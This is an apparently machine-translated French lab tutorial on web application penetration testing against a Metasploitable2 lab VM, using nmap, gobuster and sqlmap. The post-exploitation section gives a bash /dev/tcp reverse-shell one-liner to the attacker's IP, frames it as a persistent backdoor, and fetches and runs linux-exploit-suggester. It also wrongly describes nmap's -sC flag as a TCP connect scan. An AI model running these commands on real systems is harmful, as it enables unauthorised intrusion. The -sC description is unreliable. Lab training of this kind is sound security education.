Réaliser des tests d'intrusion d'applications web avec Nmap

NmapNmapBeginner
Pratiquer maintenant

💡 Ce tutoriel est traduit par l'IA à partir de la version anglaise. Pour voir la version originale, vous pouvez cliquer ici

Introduction

Dans ce laboratoire (lab), nous allons apprendre le test de pénétration d'applications web, qui est un aspect crucial de la sécurité de l'information. Les applications web sont largement utilisées dans divers domaines, ce qui en fait de la sécurité une priorité absolue. Le lab a pour but de fournir une expérience pratique dans l'identification et l'exploitation des vulnérabilités d'une application web vulnérable hébergée sur une machine cible. L'objectif est de comprendre les vulnérabilités courantes des applications web et les techniques utilisées pour les exploiter.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) wireshark(("Wireshark")) -.-> wireshark/WiresharkGroup(["Wireshark"]) nmap/NmapGroup -.-> nmap/installation("Installation and Setup") nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") nmap/NmapGroup -.-> nmap/host_discovery("Host Discovery Techniques") nmap/NmapGroup -.-> nmap/target_specification("Target Specification") nmap/NmapGroup -.-> nmap/service_detection("Service Detection") wireshark/WiresharkGroup -.-> wireshark/installation("Installation and Setup") wireshark/WiresharkGroup -.-> wireshark/packet_capture("Packet Capture") subgraph Lab Skills nmap/installation -.-> lab-416136{{"Réaliser des tests d'intrusion d'applications web avec Nmap"}} nmap/port_scanning -.-> lab-416136{{"Réaliser des tests d'intrusion d'applications web avec Nmap"}} nmap/host_discovery -.-> lab-416136{{"Réaliser des tests d'intrusion d'applications web avec Nmap"}} nmap/target_specification -.-> lab-416136{{"Réaliser des tests d'intrusion d'applications web avec Nmap"}} nmap/service_detection -.-> lab-416136{{"Réaliser des tests d'intrusion d'applications web avec Nmap"}} wireshark/installation -.-> lab-416136{{"Réaliser des tests d'intrusion d'applications web avec Nmap"}} wireshark/packet_capture -.-> lab-416136{{"Réaliser des tests d'intrusion d'applications web avec Nmap"}} end

Configuration de l'environnement

Dans cette étape, nous allons configurer l'environnement de laboratoire (lab) et nous familiariser avec les outils et le système cible.

Tout d'abord, nous devons obtenir l'ID de l'image Kali Linux, qui peut être affiché en double-cliquant sur le terminal xfce sur le bureau et en exécutant la commande suivante :

docker images

Nous devons démarrer le conteneur Kali Linux, qui sera notre machine d'attaque. Ouvrez un terminal et exécutez la commande suivante :

docker run -ti --network host image-id bash

Cette commande démarrera un nouveau conteneur Kali Linux et vous permettra d'interagir avec son shell.

Ensuite, en ouvrant un nouveau terminal, nous devons démarrer la machine cible, qui est un système vulnérable appelé Metasploitable2. Exécutez la commande suivante pour démarrer la machine virtuelle :

sudo virsh start Metasploitable2

Attendez que la machine cible démarre, cela peut prendre de 1 à 3 minutes.

Une fois que la machine virtuelle est en cours d'exécution, vérifiez que vous pouvez effectuer un ping de la machine cible depuis le conteneur Kali Linux :

ping 192.168.122.102

Reconnaissance et collecte d'informations

Dans cette étape, nous allons effectuer une reconnaissance et collecter des informations sur le système cible en utilisant diverses techniques.

Tout d'abord, nous allons scanner la machine cible à l'aide de l'outil nmap dans le conteneur Kali Linux pour identifier les ports ouverts et les services en cours d'exécution :

nmap -sV -sC -oN nmap_scan.txt 192.168.122.102

Cette commande effectuera un scan de connexion TCP (-sC) pour déterminer quels ports sont ouverts, et un scan de version (-sV) pour identifier le service et la version exécutée sur chaque port ouvert. La sortie sera enregistrée dans un fichier nommé nmap_scan.txt (-oN).

Le scan prend un certain temps. Une fois le scan terminé, examinez le fichier nmap_scan.txt pour identifier les potentielles pistes d'attaque en fonction des ports ouverts et des services à l'aide de la commande cat :

cat nmap_scan.txt

Ensuite, nous allons effectuer une énumération de répertoires et de fichiers sur le serveur web cible à l'aide de l'outil gobuster :

gobuster dir -u http://192.168.122.102 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30 -o gobuster_scan.txt

Cette commande effectuera une attaque de force brute sur les répertoires et les fichiers du serveur web cible en utilisant la liste de mots spécifiée (-w). L'option -t spécifie le nombre de threads simultanés, et l'option -o enregistre la sortie dans un fichier nommé gobuster_scan.txt.

Analysez le fichier gobuster_scan.txt pour identifier tout répertoire ou fichier intéressant qui pourrait potentiellement fournir des informations supplémentaires ou des pistes d'attaque.

Exploitation des vulnérabilités

Dans cette étape, nous allons tenter d'exploiter les vulnérabilités identifiées à l'étape précédente.

Sur la base des informations recueillies lors des scans nmap et gobuster, identifiez les vulnérabilités potentielles du système cible. Par exemple, si vous avez découvert une version obsolète d'une application web ou d'un service, recherchez les vulnérabilités connues pour cette version et essayez de les exploiter.

Une vulnérabilité courante trouvée dans les applications web est l'injection SQL. Supposons que l'application web cible soit vulnérable à l'injection SQL. Nous pouvons utiliser l'outil sqlmap dans le conteneur Kali Linux pour automatiser le processus de détection et d'exploitation des vulnérabilités d'injection SQL.

sqlmap -u http://192.168.122.102/vulnerable_page.php --batch --risk=3 --level=5 --random-agent --dbs

Cette commande tentera de détecter et d'exploiter les vulnérabilités d'injection SQL sur l'URL spécifiée (-u). L'option --batch exécute sqlmap en mode non interactif, --risk=3 définit le niveau de risque à 3 (maximum), et --level=5 définit le niveau des tests d'injection SQL à 5 (maximum). L'option --random-agent spécifie une chaîne d'agent utilisateur aléatoire, et --dbs tentera de récupérer les noms de toutes les bases de données.

Selon la vulnérabilité que vous essayez d'exploiter, vous devrez peut-être utiliser différents outils ou techniques. Reportez-vous à la documentation et aux ressources concernant la vulnérabilité et l'outil spécifiques.

Post-exploitation et élévation de privilèges

Dans cette étape, nous allons tenter de maintenir l'accès et d'élever les privilèges sur le système cible après une exploitation réussie.

En supposant que vous ayez obtenu l'accès au système cible via une vulnérabilité, l'étape suivante consiste à établir une porte dérobée persistante ou un shell inversé (reverse shell). Cela vous permettra de maintenir l'accès au système même si la vulnérabilité initiale est corrigée.

Une façon d'établir un shell inversé est d'utiliser l'utilitaire netcat. Sur le conteneur Kali Linux, exécutez la commande suivante :

nc -lvnp 4444

Cette commande écoutera sur le port 4444 pour les connexions entrantes.

Sur le système cible, exécutez la commande suivante pour établir un shell inversé :

bash -c 'bash -i >& /dev/tcp/<Kali IP>/4444 0>&1'

Remplacez <Kali IP> par l'adresse IP de votre conteneur Kali Linux. Vous pouvez utiliser ifconfig pour trouver l'adresse IP de votre conteneur.

Une fois le shell inversé établi, vous pouvez tenter d'élever les privilèges sur le système cible. Une technique courante consiste à rechercher des vulnérabilités d'élévation de privilèges à l'aide de l'outil linux-exploit-suggester :

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh > /home/labex/linux-exploit-suggester.txt

Ce script analysera le système cible et suggérera des exploits de noyau potentiels qui pourraient être utilisés pour l'élévation de privilèges.

Résumé

Dans ce laboratoire (lab), nous avons appris les bases des tests de pénétration d'applications web et avons acquis une expérience pratique dans l'identification et l'exploitation des vulnérabilités d'une application web vulnérable hébergée sur une machine cible. Nous avons abordé diverses techniques et outils utilisés dans les phases de reconnaissance, de collecte d'informations, d'exploitation et de post-exploitation d'un engagement de test de pénétration.

Le laboratoire a fourni un environnement contrôlé pour pratiquer des scénarios réels et développer des compétences en sécurité des applications web. En suivant les étapes, nous avons appris à configurer l'environnement de laboratoire, à effectuer une reconnaissance et une collecte d'informations, à exploiter des vulnérabilités telles que l'injection SQL, à établir une porte dérobée persistante et à tenter d'élever les privilèges sur le système cible.

Ce laboratoire nous a dotés de connaissances pratiques et d'expérience dans les tests de pénétration d'applications web, ce qui est essentiel pour sécuriser les applications web et identifier les vulnérabilités potentielles avant qu'elles ne puissent être exploitées par des acteurs malveillants.